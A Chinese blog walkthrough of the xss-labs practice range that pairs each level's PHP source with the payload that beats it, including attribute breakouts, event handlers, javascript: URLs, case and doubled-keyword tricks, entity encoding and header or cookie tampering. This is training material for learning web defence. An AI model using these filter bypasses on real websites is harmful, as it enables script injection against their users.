xss-labs

最新推荐文章于 2024-10-02 20:45:30 发布
最新推荐文章于 2024-10-02 20:45:30 发布
阅读量95 收藏
点赞数
文章标签： xss 前端
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_74606212/article/details/129938017
版权

level1

遇事不决直接将name重新赋值:

<script>alert('xss')</script>

level2

与上一题一样先直接将name重新赋值:

<script>alert('xss')</script>

发现<和>被编码变成了html字符实体

但是我们发现，在下面的value中，输入的恶意代码没有被改变，我们就从下面来入手

"><script>alert('xss')</script>//

 说明：这里前面的">用来闭合value中前面的"<，//用来注释value后面的">

来看看源代码

htmlspecialchars()函数：把预定义的字符 "<" （小于）和 ">" （大于）转换为 HTML 实体

level3

 与上一题一样先直接将name重新赋值:

<script>alert('xss')</script>

和上一题一样，页面并没有我们想要的结果。

 

这里对value也做了转换

我们可以通过事件标签触发表单执行

'onmouseover='alert(/xss/)

 onmouseover事件会在鼠标指针移动到指定的元素上时发生。 

在提交之后，没有立刻弹出。将鼠标移动到文本框，触发弹窗

level4

测试

<script>alert('xss')</script>

 

这里直接将<>和空格转换了

也就是对<和>进行了置空

模仿上一题（上一题是单引号，这题为双引号）

"onmouseover="alert(/xss/)

level5

测试

 

strtolower()函数：把字符串转换为小写

这题将script和on进行了转换

所以试试

"><a href=javascript:alert(/xss/)>

 点击">即可

level6

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

这里在上一题的基础上把data和href过滤了

但没有过滤href的大小写

所以我们

"><a hRef=javascript:alert(/xss/)>

level7

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

这题过滤了大小写

所以我们尝试使用双向进行绕过

"oonnmouseover="alert(1)

level8

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

发现对前面的方法都进行了过滤

下面尝试使用Unicode编码进行绕过

javascript:alert(1)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level9

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

strpos()函数：查找字符串在另一字符串中第一次出现的位置。

这里就是查找在$str7中是否有  http://

这关同样可以使用Unicode编码就行绕过

javascript:alert('http://')
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')

level10

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

发现我们构造的keyword在过滤后会传入在t_sort处

我们可以在前端修改hidden为text

 

然后输入

"onmouseover="alert(1)

 之后再次修改为text 

 

level11

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到和上一关很相似

方法见上一题

这里有另一种方法

修改下面这个

 

level12

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

修改t_ua即可

 

 level13

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

这题要抓包

修改cookie

level14

这道题有问题，跳过

level15

源代码：

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include是 angular js中的东西，其作用相当于php的include函数

ng-include的用法：

    1、ng-include 指令用于包含外部的 HTML文件。
    2、包含的内容将作为指定元素的子节点。
    3、ng-include 属性的值可以是一个表达式，返回一个文件名。
    4、默认情况下，包含的文件需要包含在同一个域名下。
    值得注意的是：
        ng-include,如果单纯指定地址，必须要加引号
        ng-include,加载外部html，script标签中的内容不执行
        ng-include,加载外部html中含有style标签样式可以识别

可以构造 

'level1.php?name=<a href="javascript:alert(/xss/)">'

 

 点击payload即可

level16

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

空格也被转换了

一般绕过空格过滤的方法有以下几种方法来取代空格

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
<img%0asrc=1%0aonerror=alert(1)>

level17

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后，<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

发现是通过arg01和arg02进行传参

并且两个参数是直接拼接在一起的

我们提交的两个参数的值出现在了<embed>标签的src属性值中

直接构造

arg01=a&arg02=b%0aonmouseover=alert(1)

ps：没有触发弹窗可以换个浏览器再尝试

level18

源代码：

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

方法与上一题相同

level19

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level20.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

发现这一关比前面在src处多了双引号

如果想要成功执行js代码肯定需要去闭合标签，但是此处应该还是会用

htmlspecialchars()函数进行处理，所以无法成功闭合。

参考：XSS-labs Level 19 Flash XSS_baynk的博客-CSDN博客

答案

arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

但没有复现成功，还是太菜了

level20

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level21.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

与上一题不能说毫无关系，只能说一模一样

orzw
关注
xss-labs靶场
newlife1441的博客
07-29 863
靶场搭建，可以从Github上下载或者直接下载下面的资源入门级别的xss-labs靶场，有需要的自行下载搭建，搭建过程可以参考网上的资料-网络安全文档类资源-CSDN下载入门级别的xss-labs靶场,适合新入门的学生进行练习，希望你可以从中学习到一些解题的相关技巧和关更多下载资源、学习资料请访问CSDN下载频道.https。......
xss-labs-master源码
07-06
"xss-labs-master"是一个专门设计的靶场，包含了20个级别的XSS练习，旨在帮助学习者深入理解和掌握XSS攻击的原理、类型以及防御策略。通过逐步解决这些精心设计的挑战，我们可以逐步提升对XSS攻击的理解，并提升安全...
XSS-labs详解
ytdd66的博客
03-23 2557
进入靶场点击图片，开始我们的XSS之旅！
XSS-labs 通关实录
yingu9267的博客
05-02 797
XSS攻击与sql注入逻辑相似，找到注入点，插入恶意代码，过滤绕过……1。
Web渗透-XSS漏洞深入及xss-labs靶场实战
Varin
06-24 1713
xss全称（cross site scripting)跨站脚本攻击，是最常见的web应用程序安全漏洞之一，位于owasptop102013年度第三名xss是指攻击者在网页中嵌入客户端脚本，通常是javascrip编写的危险代码，当用户使用浏览网页时，脚本就会在用户的浏览器上执行，从而达到攻击者的目的
XSS-labs
YouthBelief的博客
10-18 218
XSSlabs前言level1payload: ``level3payload 'οnmοuseοver='javascript:alert(1)level4payload "οnmοuseοver="javascript:alert(1)level5payload `"> xss `level6大小写混写payload `"> xss level7payload总结 前言 开始做笔记 记录学习 level1 发现url处存在传参 ?name=test 且页面有回显 test
xss-labs靶场全关通关
m0_64849639的博客
09-04 966
alert('111')</script><script>
xss-labs-master靶场
K_kiii的博客
03-09 422
level1 发现有一个name参数，值为test；对name进行payload注入 name=<script>alert('hack')</script> 说明源码是完全没有对get请求道德name变量进行过滤，所以会被执行。 level2 1.test是以get请求发送的变量，2.在页面上发现了用户发送的变量 查看源码 发现我们输入的内容是一个文本框的value值，这样浏览器是不会执行我们的注入语句的，所以我们要构造标签闭合 构造闭合标签,把inp
记录自己在xss-labs靶场的通关记录
2302_78903258的博客
06-08 1476
我们下载完之后，就可以进行xss-labs-master的搭建，我本人下载的phpstudy是2018年版的将xss-labs-master安装完之后，放到此目录下，我们原本下载的xss-labs-master，我们可以将，便于我们做题时的搜索对于新版本的phpstudy来说，我们可以将xss-labs-master放到此目录下。访问本地配置的xss-labs。
xss-labs靶场通关详解
shw_yzh的博客
08-23 753
xss-labs靶场通关详解
xss-labs-master.rar
05-09
"xss-labs-master.rar" 提供了一个针对XSS漏洞的专项练习平台，旨在帮助初学者及安全爱好者提升对XSS攻击的理解和防御能力。这个靶机资源共分为二十个关卡，由浅入深，逐步引导用户掌握XSS攻防的核心技巧。 一、XSS...
xss-labs-master.zip（xss注入通关游戏/靶场）
03-21
`xss-labs-master.zip`包含了一个专门用于学习和实践XSS注入的通关游戏或靶场，对于网络安全测试人员来说，这是一个极好的学习资源。 **XSS分类** 1. **存储型XSS**：也称为持久型XSS，攻击者将恶意脚本存入服务器...
安装xss-labs ppt手册
10-22
**XSS漏洞详解与XSS-Labs安装指南** XSS（Cross Site Scripting），即跨站脚本攻击，是网络安全领域常见的一种攻击方式。它允许攻击者通过注入恶意脚本到网页中，使得用户在不知情的情况下执行这些脚本，从而获取...
xss-labs通关.pdf
04-20
xss-labs靶场20关全通关攻略
XSS（内含DVWA）
m0_73902453的博客
09-27 774
反射型 XSS：即时反射，依赖用户点击链接，通常是一次性的。存储型 XSS：恶意代码存储在服务器上，多次执行，影响广泛。DOM型 XSS：常在客户端，通过操控 DOM 元素来执行，无需与服务器交互。
Pikachu-Cross-Site Scripting-反射型xss(get)
guanrongl的专栏
10-02 367
存储型XSS是指恶意脚本被存储在目标服务器上，当用户访问包含该脚本的页面时，脚本会被执行。例如，攻击者可以在留言板中输入恶意脚本，当其他用户查看留言时，脚本会在他们的浏览器中执行。这种类型的XSS不需要服务器端的参与，攻击者通过构造特定的URL或操作DOM，使得浏览器执行恶意脚本。提交构造的脚本代码(以及各种绕过姿势)，看是否可以成功执行，如果成功执行则说明存在XSS漏洞;2、输入一组“特殊字符+唯一识别字符”，点击提交后，查看返回的源码，是否有做对应的处理;先输入各种特殊字符，查看源代码，查看页面返回；
Pikachu-Cross-Site Scripting-存储型xss
guanrongl的专栏
10-02 107
存储型xss ，随便输入点内容，都能保存下来；输入特殊字符，也能原样返回；查看代码，也可以看到输出结果直接原路返回，不做处理。
Pikichu-xss实验案例-通过xss获取cookie
最新发布
guanrongl的专栏
10-02 138
查看后端代码cookie.php：就是获取cookie信息，保存起来，然后重定向跳转到目标页面；修改最后从定向的ip，改为自己测试用的IP地址；对此，构造攻击payload， 获取到cookie ，然后从定向跳转到pkxss后台，pkxss后台把数据保存后，重新重定向回到被攻击的页面。该后台可以把获得的cookie信息显示出来；pikachu提供了一个pkxss后台；
xss-labs安装
07-28
XSS-labs是一个用于学习和测试跨站脚本攻击（XSS）的平台。根据引用\[1\]，在学习了XSS的基础知识并完成了一些简单的XSS测试后，可以开始攻略XSS-labs。不过需要注意的是，对于XSS-labs，我们只需大致了解一些思路即可，因为在实际的应用中，很少会有这种复杂的情况，但在CTF比赛中可能会更常见。 根据引用\[2\]，XSS-labs的安装和下载可以通过相关的渗透测试平台或者从官方网站获取。安装完成后，可以开始进行XSS攻击的实践。 在XSS-labs中，可以通过构造特定的payload来触发XSS漏洞。根据引用\[2\]和\[3\]的示例，可以使用ng-include或者src参数来构造包含XSS漏洞的URL。例如，可以构造一个类似于以下的payload来触发XSS漏洞： src='level1.php?name=<a type="text" href="javascript:alert(1)">' 或者 127.0.0.1/xss-labs/level15.php?src='level1.php?name=<a href="javascript:alert(/xss/)">' 通过构造合适的payload，可以利用XSS-labs平台进行XSS攻击的实践和学习。请注意，在实际应用中，XSS攻击是违法行为，请遵守法律法规并仅在合法授权的情况下进行安全测试。 #### 引用[.reference_title] - *1* *2* [渗透学习-靶场篇-XSS-labs(持续更新中）](https://blog.csdn.net/qq_43696276/article/details/127024861)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [xss-labs搭建及通关攻略](https://blog.csdn.net/K_ShenH/article/details/122765092)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值